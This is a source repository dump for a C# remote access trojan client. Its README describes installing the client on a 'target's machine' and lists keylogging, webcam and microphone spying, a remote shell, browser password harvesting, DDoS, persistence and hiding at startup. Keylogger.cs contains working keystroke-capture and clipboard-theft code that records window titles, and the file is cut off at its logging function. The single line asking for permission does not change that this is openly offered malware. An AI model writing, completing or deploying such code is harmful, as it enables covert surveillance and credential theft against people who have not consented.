├── .gitattributes
├── .gitignore
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── TutClient.sln
├── TutClient.v12.suo.doc
└── TutClient
├── App.config
├── Keylogger.cs
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── RDesktop.cs
├── TutClient.csproj
├── app.manifest
└── bin
└── Debug
├── AForge.Video.DirectShow.dll
├── AForge.Video.DirectShow.xml
├── AForge.Video.dll
├── AForge.Video.xml
├── AForge.dll
├── AForge.xml
├── NAudio.WindowsMediaFormat.dll
├── NAudio.dll
├── NAudio.xml
├── SQLite.Interop.dll
├── System.Data.SQLite.dll
├── System.Data.SQLite.xml
├── UrlHistoryLibrary.dll
└── appCom.dll
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 |
4 | # User-specific files
5 | *.suo
6 | *.user
7 | *.userosscache
8 | *.sln.docstates
9 |
10 | # User-specific files (MonoDevelop/Xamarin Studio)
11 | *.userprefs
12 |
13 | # Build results
14 | #[Dd]ebug/
15 | [Dd]ebugPublic/
16 | [Rr]elease/
17 | [Rr]eleases/
18 | x64/
19 | x86/
20 | bld/
21 | #[Bb]in/
22 | [Oo]bj/
23 | [Ll]og/
24 |
25 | # Visual Studio 2015 cache/options directory
26 | .vs/
27 | # Uncomment if you have tasks that create the project's static files in wwwroot
28 | #wwwroot/
29 |
30 | # MSTest test Results
31 | [Tt]est[Rr]esult*/
32 | [Bb]uild[Ll]og.*
33 |
34 | # NUNIT
35 | *.VisualState.xml
36 | TestResult.xml
37 |
38 | # Build Results of an ATL Project
39 | [Dd]ebugPS/
40 | [Rr]eleasePS/
41 | dlldata.c
42 |
43 | # DNX
44 | project.lock.json
45 | project.fragment.lock.json
46 | artifacts/
47 |
48 | *_i.c
49 | *_p.c
50 | *_i.h
51 | *.ilk
52 | *.meta
53 | *.obj
54 | *.pch
55 | *.pdb
56 | *.pgc
57 | *.pgd
58 | *.rsp
59 | *.sbr
60 | *.tlb
61 | *.tli
62 | *.tlh
63 | *.tmp
64 | *.tmp_proj
65 | *.log
66 | *.vspscc
67 | *.vssscc
68 | .builds
69 | *.pidb
70 | *.svclog
71 | *.scc
72 |
73 | # Chutzpah Test files
74 | _Chutzpah*
75 |
76 | # Visual C++ cache files
77 | ipch/
78 | *.aps
79 | *.ncb
80 | *.opendb
81 | *.opensdf
82 | *.sdf
83 | *.cachefile
84 | *.VC.db
85 | *.VC.VC.opendb
86 |
87 | # Visual Studio profiler
88 | *.psess
89 | *.vsp
90 | *.vspx
91 | *.sap
92 |
93 | # TFS 2012 Local Workspace
94 | $tf/
95 |
96 | # Guidance Automation Toolkit
97 | *.gpState
98 |
99 | # ReSharper is a .NET coding add-in
100 | _ReSharper*/
101 | *.[Rr]e[Ss]harper
102 | *.DotSettings.user
103 |
104 | # JustCode is a .NET coding add-in
105 | .JustCode
106 |
107 | # TeamCity is a build add-in
108 | _TeamCity*
109 |
110 | # DotCover is a Code Coverage Tool
111 | *.dotCover
112 |
113 | # NCrunch
114 | _NCrunch_*
115 | .*crunch*.local.xml
116 | nCrunchTemp_*
117 |
118 | # MightyMoose
119 | *.mm.*
120 | AutoTest.Net/
121 |
122 | # Web workbench (sass)
123 | .sass-cache/
124 |
125 | # Installshield output folder
126 | [Ee]xpress/
127 |
128 | # DocProject is a documentation generator add-in
129 | DocProject/buildhelp/
130 | DocProject/Help/*.HxT
131 | DocProject/Help/*.HxC
132 | DocProject/Help/*.hhc
133 | DocProject/Help/*.hhk
134 | DocProject/Help/*.hhp
135 | DocProject/Help/Html2
136 | DocProject/Help/html
137 |
138 | # Click-Once directory
139 | publish/
140 |
141 | # Publish Web Output
142 | *.[Pp]ublish.xml
143 | *.azurePubxml
144 | # TODO: Comment the next line if you want to checkin your web deploy settings
145 | # but database connection strings (with potential passwords) will be unencrypted
146 | #*.pubxml
147 | *.publishproj
148 |
149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
150 | # checkin your Azure Web App publish settings, but sensitive information contained
151 | # in these scripts will be unencrypted
152 | PublishScripts/
153 |
154 | # NuGet Packages
155 | *.nupkg
156 | # The packages folder can be ignored because of Package Restore
157 | **/packages/*
158 | # except build/, which is used as an MSBuild target.
159 | !**/packages/build/
160 | # Uncomment if necessary however generally it will be regenerated when needed
161 | #!**/packages/repositories.config
162 | # NuGet v3's project.json files produces more ignoreable files
163 | *.nuget.props
164 | *.nuget.targets
165 |
166 | # Microsoft Azure Build Output
167 | csx/
168 | *.build.csdef
169 |
170 | # Microsoft Azure Emulator
171 | ecf/
172 | rcf/
173 |
174 | # Windows Store app package directories and files
175 | AppPackages/
176 | BundleArtifacts/
177 | Package.StoreAssociation.xml
178 | _pkginfo.txt
179 |
180 | # Visual Studio cache files
181 | # files ending in .cache can be ignored
182 | *.[Cc]ache
183 | # but keep track of directories ending in .cache
184 | !*.[Cc]ache/
185 |
186 | # Others
187 | ClientBin/
188 | ~$*
189 | *~
190 | *.dbmdl
191 | *.dbproj.schemaview
192 | *.jfm
193 | *.pfx
194 | *.publishsettings
195 | node_modules/
196 | orleans.codegen.cs
197 |
198 | # Since there are multiple workflows, uncomment next line to ignore bower_components
199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
200 | #bower_components/
201 |
202 | # RIA/Silverlight projects
203 | Generated_Code/
204 |
205 | # Backup & report files from converting an old project file
206 | # to a newer Visual Studio version. Backup files are not needed,
207 | # because we have git ;-)
208 | _UpgradeReport_Files/
209 | Backup*/
210 | UpgradeLog*.XML
211 | UpgradeLog*.htm
212 |
213 | # SQL Server files
214 | *.mdf
215 | *.ldf
216 |
217 | # Business Intelligence projects
218 | *.rdl.data
219 | *.bim.layout
220 | *.bim_*.settings
221 |
222 | # Microsoft Fakes
223 | FakesAssemblies/
224 |
225 | # GhostDoc plugin setting file
226 | *.GhostDoc.xml
227 |
228 | # Node.js Tools for Visual Studio
229 | .ntvs_analysis.dat
230 |
231 | # Visual Studio 6 build log
232 | *.plg
233 |
234 | # Visual Studio 6 workspace options file
235 | *.opt
236 |
237 | # Visual Studio LightSwitch build output
238 | **/*.HTMLClient/GeneratedArtifacts
239 | **/*.DesktopClient/GeneratedArtifacts
240 | **/*.DesktopClient/ModelManifest.xml
241 | **/*.Server/GeneratedArtifacts
242 | **/*.Server/ModelManifest.xml
243 | _Pvt_Extensions
244 |
245 | # Paket dependency manager
246 | .paket/paket.exe
247 | paket-files/
248 |
249 | # FAKE - F# Make
250 | .fake/
251 |
252 | # JetBrains Rider
253 | .idea/
254 | *.sln.iml
255 |
256 | # CodeRush
257 | .cr/
258 |
259 | # Python Tools for Visual Studio (PTVS)
260 | __pycache__/
261 | *.pyc
262 | /TutClient/bin/Debug/TutClient.vshost.exe.manifest
263 | /TutClient/bin/Debug/TutClient.vshost.exe.config
264 | /TutClient/bin/Debug/TutClient.vshost.exe
265 | /TutClient/bin/Debug/TutClient.exe.config
266 | /TutClient/bin/Debug/TutClient.exe
267 | /TutClient/bin/Debug/logindata
268 | /TutClient/bin/Debug/ff.exe
269 | /TutClient/bin/Debug/ff.cfg
270 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
6 |
7 | ## Our Standards
8 |
9 | Examples of behavior that contributes to creating a positive environment include:
10 |
11 | * Using welcoming and inclusive language
12 | * Being respectful of differing viewpoints and experiences
13 | * Gracefully accepting constructive criticism
14 | * Focusing on what is best for the community
15 | * Showing empathy towards other community members
16 |
17 | Examples of unacceptable behavior by participants include:
18 |
19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances
20 | * Trolling, insulting/derogatory comments, and personal or political attacks
21 | * Public or private harassment
22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission
23 | * Other conduct which could reasonably be considered inappropriate in a professional setting
24 |
25 | ## Our Responsibilities
26 |
27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
28 |
29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
30 |
31 | ## Scope
32 |
33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
34 |
35 | ## Enforcement
36 |
37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at ghost@mcghost.ddns.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
38 |
39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
40 |
41 | ## Attribution
42 |
43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
44 |
45 | [homepage]: http://contributor-covenant.org
46 | [version]: http://contributor-covenant.org/version/1/4/
47 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contribution
2 | **Thank you for considering contribution to the C\# R.A.T Client Project!**
3 | ## How to contribute?
4 | It's very simple!
5 | 1. Fork the project
6 | 2. Make the changes
7 | 3. Issue a pull request
8 | 4. I will do a merge after verifying (in some cases changing) the code
9 | ## How to report bugs?
10 | You can simply use the *Issues* section on github
11 | Just write an issue, and i will try to respond within 24 hours!
12 | ## How to contribute? (without writing code)
13 | You can also do this on the *Issues* section, and i will label it as *enhancement*
14 | This way you can suggest new features, or change an older one without coding.
15 | I will try to respond within 24 hours!
16 | ## How to run / compile
17 | I use Visual Studio 2017 Community Edition.
18 | The project is in c\#, built with .NET Framework 4.5
19 | Any additional dependencies can be found at TutClient/bin/Debug
20 | ## How to ask questions?
21 | You can also use the *Issues* section on GitHub, i will assign a label to it, so it's different from bugs.
22 | I will try to respond within 24 hours!
23 | You can also contact me at my [Youtube Channel](https://www.youtube.com/channel/UCYIOySp8zTTWJG5-n8wpZ2g)
24 | Either a comment on the video about the topic, or a message at the *Discussion* section on my channel page
25 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Advanced Hacking 101 Project Licence
2 | short and simple
3 | You are free to do anything with this project, as long as you credit me and the project
4 | Links to the project are enough
5 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # C# R.A.T Client
2 | This is the client version of the c# R.A.T
3 | This will run on the target's machine and will connect to your machine via Tcp/IP
4 | You will need to download [R.A.T Server](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server) to your computer to accept incoming clients
5 | This client depedns on .NET Framework, and windows.
6 | **Planning to extend to various platforms like:**
7 | - [x] [Android](https://github.com/AdvancedHacker101/android-R.A.T-Client)
8 | - [x] [Linux](https://github.com/AdvancedHacker101/C-R.A.T-Client-Linux)
9 | - [x] [Browser](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp) (JS Botnet)
10 | - [ ] HTTP Server (via php backdoors, node modules, python modules etc.)
11 |
12 | Some of the R.A.T Features are:
13 | - Keylogger
14 | - Remote Desktop
15 | - Mic And Cam Spy
16 | - Remote Cmd Prompt
17 | - Process and File manager
18 | - Fun Menu (hiding Desktop icons, Clock, Taskbar, showing messagebox, triggering windows sound effects)
19 | - DDoS with target validation
20 | - Password manager (supporting: Internet Explorer, Google Chrome, Firefox)
21 |
22 | Firefox password harvesting depends on NirSoft password fox.
23 | Other two browsers are implemented in the code.
24 | **I plan to add more features like:**
25 | - [x] Scripting (Server side plugins can do this)
26 | - [ ] Dns Server spoofing using [c# Dns Server](https://github.com/AdvanceHacker101/c-sharp-Dns-Server)
27 | - [x] [Proxy Server](https://github.com/AdvancedHacker101/C-Sharp-Proxy-Server) (for web content modification)
28 | - [ ] Pivoting (infecting other machines in the local network)
29 | - [ ] Registry editing
30 | - [ ] Windows System password phising attack
31 | - [x] Probing methods (for ex. start at system start, prevent from deleting file, maybe get UAC elevated)
32 | - [x] Hiding program on start (Available as an opt-in)
33 | - [x] Maybe http/s server for browser clients (See JS Botnet server plugin)
34 | - [x] Support for resolving Dns to ipv4 address
35 | - [ ] Connect to linux server
36 |
37 | And only use this on other peoples machine if you have thier permission, otherwise you can test it on a VM (Virtul Machine)
38 | This is not a dangerous virus so if you start it on your own machine and don't send any commands from the server you can safely just close the program like nothing happend
39 | ## More information
40 | You can view the project licence [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client/blob/master/LICENSE)
41 | You can read the code of conduct [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client/blob/master/CODE_OF_CONDUCT.md)
42 | You can read how to contribute [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client/blob/master/CONTRIBUTING.md)
43 |
44 | *Happy Coding!*
45 |
46 | **\-Advanced Hacker 101**
47 |
--------------------------------------------------------------------------------
/TutClient.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.21005.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TutClient", "TutClient\TutClient.csproj", "{D5BD986E-849B-4558-B666-E81B2C219902}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {D5BD986E-849B-4558-B666-E81B2C219902}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {D5BD986E-849B-4558-B666-E81B2C219902}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {D5BD986E-849B-4558-B666-E81B2C219902}.Debug|x64.ActiveCfg = Debug|Any CPU
19 | {D5BD986E-849B-4558-B666-E81B2C219902}.Debug|x64.Build.0 = Debug|Any CPU
20 | {D5BD986E-849B-4558-B666-E81B2C219902}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {D5BD986E-849B-4558-B666-E81B2C219902}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {D5BD986E-849B-4558-B666-E81B2C219902}.Release|x64.ActiveCfg = Release|x64
23 | {D5BD986E-849B-4558-B666-E81B2C219902}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/TutClient.v12.suo.doc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient.v12.suo.doc
--------------------------------------------------------------------------------
/TutClient/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/TutClient/Keylogger.cs:
--------------------------------------------------------------------------------
1 | using System; //For basic system functions
2 | using System.Collections.Generic; //For lists and dictionaries
3 | using System.Runtime.InteropServices; //For p/invoke
4 | using System.Text; //For text encoding
5 | using System.Threading; //For threads
6 | using System.Windows.Forms; //For keys
7 |
8 | ///
9 | /// R.A.T Namespace
10 | ///
11 | namespace TutClient
12 | {
13 | ///
14 | /// The keylogger module
15 | ///
16 | class Keylogger
17 | {
18 | ///
19 | /// The buffer to save the keys to
20 | ///
21 | public static string KeyLog;
22 | ///
23 | /// The title of the last focused window
24 | ///
25 | public static string LastWindow;
26 | ///
27 | /// Killswitch for the keylogger loop
28 | ///
29 | public static bool letRun = true;
30 | private static Dictionary al = new Dictionary();
31 | private static Dictionary sf = new Dictionary();
32 | private static Dictionary ag = new Dictionary();
33 | private static Dictionary ct = new Dictionary();
34 | private static bool setupCompleted = false;
35 | ///
36 | /// True if shift is held, otherwise false
37 | ///
38 | private static bool shiftHeld = false;
39 | ///
40 | /// True if alt+gr is held, otherwise false
41 | ///
42 | private static bool altgrHeld = false;
43 | ///
44 | /// True if control is held, otherwise false
45 | ///
46 | private static bool ctrlHeld = false;
47 | ///
48 | /// Key code for the control key
49 | ///
50 | private static int ctrl_key = 0x11;
51 | ///
52 | /// Key code for the alt+gr key
53 | ///
54 | private static int altgr_key = 0xA5;
55 | ///
56 | /// Keycode for the shift key
57 | ///
58 | private static int shift_key = 0x10;
59 |
60 | ///
61 | /// Get the state of a keycode
62 | ///
63 | /// The keycode to check
64 | /// The state of the key (pressed or not)
65 | [DllImport("user32.dll")]
66 | public static extern int GetAsyncKeyState(Int32 i);
67 | ///
68 | /// Get the current focused window's handle
69 | ///
70 | /// The handle of the focused window
71 | [DllImport("user32.dll")]
72 | static extern IntPtr GetForegroundWindow();
73 | ///
74 | /// Get the title text of a window
75 | ///
76 | /// The handle of the window
77 | /// The buffer to save the text to
78 | /// The number of chars to read
79 | /// The number of chars read
80 | [DllImport("user32.dll")]
81 | static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
82 |
83 | ///
84 | /// Get a string representation of the current clipboard data
85 | ///
86 | /// The string representation of clipboard data
87 | private static string GetClipboard()
88 | {
89 | string result = ""; //The result to return
90 | Thread STAThread = new Thread //Create a new thread
91 | (
92 | delegate () //The function to execute
93 | {
94 | if (Clipboard.ContainsAudio()) result = "System.IO.Stream [Clipboard Data is Audio Stream]"; //Clipboard is audio data
95 | else if (Clipboard.ContainsImage()) result = "System.Drawing.Image [Clipboard data is Image]"; //Clipboard is image data
96 | else if (Clipboard.ContainsFileDropList()) //Clipboard is a filed list
97 | {
98 | System.Collections.Specialized.StringCollection files = Clipboard.GetFileDropList(); //Get the file list
99 | result = "System.Collections.Specialized.StringCollection [Clipboard Data is File Drop List]\nFiles:\n"; //Set the header
100 | foreach (string file in files) //Go through the stored files
101 | {
102 | result += file + "\n"; //Append the path of the file
103 | }
104 | }
105 | else if (Clipboard.ContainsText()) result = "System.String [Clipboard Data is Text]\nText:\n" + Clipboard.GetText(); //Clipboard is text
106 | else result = "Clipboard Data Not Retrived!\nPerhaps no data was selected when ctrl+c was pressed :("; //No clibpoard data
107 | /*IDataObject obj = Clipboard.GetDataObject(); //Get the data object of the clipboard
108 | string text = obj.GetData(DataFormats.Text).ToString(); //Get the text data in the clipboard*/
109 | //Console.WriteLine("Clipboard function done :)");
110 |
111 | //Console.WriteLine("data clipboard: " + Clipboard.GetData("%s").ToString());
112 | }
113 | );
114 | STAThread.SetApartmentState(ApartmentState.STA); //Create a new STA thread
115 | STAThread.Start(); //Start the thread
116 | STAThread.Join(); //Join the thread (block execution)
117 | return result; //Return the result of the thread
118 | }
119 |
120 | ///
121 | /// Update changing data in key definitions
122 | ///
123 | /// The pressed key
124 | /// The input value to update the old with
125 | /// The new string data to append to the log
126 | private static string UpdateRealTimeData(Keys currentKey, string inputValue)
127 | {
128 | string newData = ""; //The data to return
129 |
130 | if (currentKey == Keys.NumLock || currentKey == Keys.CapsLock || currentKey == Keys.Scroll) //*lock handler
131 | {
132 | Thread.Sleep(100); //Wait for the key to take effect on the machine
133 | string state = (Control.IsKeyLocked(currentKey)) ? "Enabled" : "Disabled"; //Get the state of the *lock key
134 | newData = inputValue.Replace("", state); //Replace the data label
135 | }
136 | else if (currentKey == Keys.LButton || currentKey == Keys.RButton) //Mouse click handler (left & right)
137 | {
138 | string posx = Cursor.Position.X.ToString(); //Get the X position of the mouse
139 | string posy = Cursor.Position.Y.ToString(); //Get the Y position of the mouse
140 | newData = inputValue.Replace("", posx); //Replace the X position label
141 | newData = newData.Replace("", posy); //Replace the Y position label
142 | }
143 | else if ((currentKey == Keys.X || currentKey == Keys.V || currentKey == Keys.C) && ctrlHeld) //CTRL + C, V or X (added & ctrlHeld, should be OK)
144 | {
145 | Thread.Sleep(100); //Wait for the key to take effect
146 | newData = inputValue.Replace("", GetClipboard()); //Get the clipboard data
147 | }
148 | else //No override found
149 | {
150 | return inputValue; //Return the original value
151 | }
152 |
153 | return newData; //Return the modified result
154 | }
155 |
156 | ///
157 | /// Setup the key mapping to keycodes
158 | ///
159 | private static void Setup()
160 | {
161 | //Shift, Alt Gr, Control, Default Modifiers may be different per locales/countries :(
162 | //al.Add is for keys without modifiers(ex. no shift or alt gr or control is held while the keys was pressed)
163 | //sf.Add is for keys when the SHIFT modifier is held while the key was pressed
164 | //ag.Add is for keys when the ALT GR modifier is held while the key was pressed
165 | //ct.Add is for keys when the CTRL modifiers is held while the key was pressed
166 |
167 | al.Add(Keys.Enter, "\n");
168 | al.Add(Keys.Space, " ");
169 | al.Add(Keys.NumPad0, "0");
170 | sf.Add(Keys.NumPad0, " [INSERT] ");
171 | al.Add(Keys.NumPad1, "1");
172 | sf.Add(Keys.NumPad1, " [END] ");
173 | al.Add(Keys.NumPad2, "2");
174 | sf.Add(Keys.NumPad2, " [ARROW, DOWN] ");
175 | al.Add(Keys.NumPad3, "3");
176 | sf.Add(Keys.NumPad3, " [PAGE, DOWN] ");
177 | al.Add(Keys.NumPad4, "4");
178 | sf.Add(Keys.NumPad4, " [ARROW, LEFT] ");
179 | al.Add(Keys.NumPad5, "5");
180 | al.Add(Keys.NumPad6, "6");
181 | sf.Add(Keys.NumPad6, " [ARROW, RIGHT] ");
182 | al.Add(Keys.NumPad7, "7");
183 | sf.Add(Keys.NumPad7, " [HOME] ");
184 | al.Add(Keys.NumPad8, "8");
185 | sf.Add(Keys.NumPad8, " [ARROW, UP] ");
186 | al.Add(Keys.NumPad9, "9");
187 | sf.Add(Keys.NumPad9, " [PAGE, UP] ");
188 | al.Add(Keys.Add, "+");
189 | al.Add(Keys.Back, " [BACKSPACE] ");
190 | al.Add(Keys.CapsLock, " [CapsLock, state: " + "" + "] ");
191 | al.Add(Keys.D0, "0");
192 | sf.Add(Keys.D0, "§");
193 | al.Add(Keys.D1, "1");
194 | sf.Add(Keys.D1, "'");
195 | al.Add(Keys.D2, "2");
196 | sf.Add(Keys.D2, "\"");
197 | al.Add(Keys.D3, "3");
198 | sf.Add(Keys.D3, "+");
199 | al.Add(Keys.D4, "4");
200 | sf.Add(Keys.D4, "!");
201 | al.Add(Keys.D5, "5");
202 | sf.Add(Keys.D5, "%");
203 | al.Add(Keys.D6, "6");
204 | sf.Add(Keys.D6, "/");
205 | al.Add(Keys.D7, "7");
206 | sf.Add(Keys.D7, "=");
207 | al.Add(Keys.D8, "8");
208 | sf.Add(Keys.D8, "(");
209 | al.Add(Keys.D9, "9");
210 | sf.Add(Keys.D9, ")");
211 | al.Add(Keys.Delete, " [DEL] ");
212 | al.Add(Keys.Divide, "÷");
213 | al.Add(Keys.Down, " [ARROW, DOWN] ");
214 | al.Add(Keys.End, " [END] ");
215 | al.Add(Keys.Escape, " [ESC] ");
216 | al.Add(Keys.Home, " [HOME] ");
217 | al.Add(Keys.Insert, " [INSERT] ");
218 | al.Add(Keys.LButton, " [Left Click, Position: x=" + "" + "; y=" + "" + "] ");
219 | al.Add(Keys.Left, " [ARROW, LEFT] ");
220 | al.Add(Keys.LWin, " [LEFT WINDOWS] ");
221 | al.Add(Keys.Multiply, "×");
222 | al.Add(Keys.Oemcomma, ",");
223 | sf.Add(Keys.Oemcomma, "?");
224 | ag.Add(Keys.Oemcomma, ";");
225 | al.Add(Keys.OemMinus, "-");
226 | sf.Add(Keys.OemMinus, "_");
227 | ag.Add(Keys.OemMinus, "*");
228 | al.Add(Keys.OemPeriod, ".");
229 | sf.Add(Keys.OemPeriod, ":");
230 | ag.Add(Keys.OemPeriod, ">");
231 | al.Add(Keys.PageDown, " [PAGE, DOWN] ");
232 | al.Add(Keys.PageUp, " [PAGE, UP] ");
233 | al.Add(Keys.PrintScreen, " [PRINT SCREEN] ");
234 | al.Add(Keys.RButton, " [Right Click, Position: x = " + "" + "; y = " + "" + "] ");
235 | al.Add(Keys.Right, " [ARROW, RIGHT] ");
236 | al.Add(Keys.RWin, " [RIGHT WINDOWS] ");
237 | al.Add(Keys.Scroll, " [Scroll Lock, state: " + "" + "] ");
238 | al.Add(Keys.Subtract, "-");
239 | al.Add(Keys.Tab, " [TAB] ");
240 | al.Add(Keys.Up, " [ARROW, UP] ");
241 | al.Add(Keys.NumLock, " [Num Lock, state: " + "" + "] ");
242 |
243 | //ALT GR Keys different per country (more countries may be supported by default in a newer version)
244 | ag.Add(Keys.S, "đ");
245 | ag.Add(Keys.F, "[");
246 | ag.Add(Keys.G, "]");
247 | ag.Add(Keys.K, "ł");
248 | ag.Add(Keys.L, "Ł");
249 | ag.Add(Keys.Y, ">");
250 | ag.Add(Keys.X, "#");
251 | ag.Add(Keys.C, "&");
252 | ag.Add(Keys.V, "@");
253 | ag.Add(Keys.B, "{");
254 | ag.Add(Keys.N, "}");
255 | ag.Add(Keys.Q, "\\");
256 | ag.Add(Keys.W, "|");
257 | ag.Add(Keys.U, "€");
258 | ag.Add(Keys.D1, "~");
259 | ag.Add(Keys.D2, "ˇ");
260 | ag.Add(Keys.D3, "^");
261 | ag.Add(Keys.D4, "˘");
262 | ag.Add(Keys.D5, "°");
263 | ag.Add(Keys.D6, "˛");
264 | ag.Add(Keys.D7, "`");
265 | ag.Add(Keys.D8, "˙");
266 | ag.Add(Keys.D9, "´");
267 |
268 | //CTRL Key Overrides (mostly good for any country)
269 |
270 | ct.Add(Keys.C, " [Control+C, clipboard: ] ");
271 | ct.Add(Keys.V, " [Control+V, clipboard: ] ");
272 | ct.Add(Keys.Z, " [Control+Z, Undo] ");
273 | ct.Add(Keys.F, " [Control+F, Search] ");
274 | ct.Add(Keys.X, " [Control+X, clipboard: ] ");
275 |
276 | //Country Specific overrides (comment these if your keyboard is not like this)
277 |
278 | //Most likely you will NEED to overwirte this
279 | //if your keyboard is different than this!
280 | //More countries may be supported by default in a newer version
281 |
282 | al.Add(Keys.Oemtilde, "ö");
283 | sf.Add(Keys.Oemtilde, "Ö");
284 | ag.Add(Keys.Oemtilde, "˝");
285 | al.Add(Keys.OemQuestion, "ü");
286 | sf.Add(Keys.OemQuestion, "Ü");
287 | ag.Add(Keys.OemQuestion, "¨");
288 | al.Add(Keys.Oemplus, "ó");
289 | sf.Add(Keys.Oemplus, "Ó");
290 | al.Add(Keys.OemOpenBrackets, "ő");
291 | sf.Add(Keys.OemOpenBrackets, "Ő");
292 | ag.Add(Keys.OemOpenBrackets, "÷");
293 | al.Add(Keys.Oem6, "ú");
294 | sf.Add(Keys.Oem6, "Ú");
295 | ag.Add(Keys.Oem6, "×");
296 | al.Add(Keys.Oem1, "é");
297 | sf.Add(Keys.Oem1, "É");
298 | ag.Add(Keys.Oem1, "$");
299 | al.Add(Keys.OemQuotes, "á");
300 | sf.Add(Keys.OemQuotes, "Á");
301 | ag.Add(Keys.OemQuotes, "ß");
302 | al.Add(Keys.OemPipe, "ű");
303 | sf.Add(Keys.OemPipe, "Ű");
304 | ag.Add(Keys.OemPipe, "¤");
305 | al.Add(Keys.OemBackslash, "í");
306 | sf.Add(Keys.OemBackslash, "Í");
307 | ag.Add(Keys.OemBackslash, "<");
308 |
309 | setupCompleted = true; //Set the flag
310 | }
311 |
312 | ///
313 | /// The logging function
314 | ///
315 | public static void Logger()
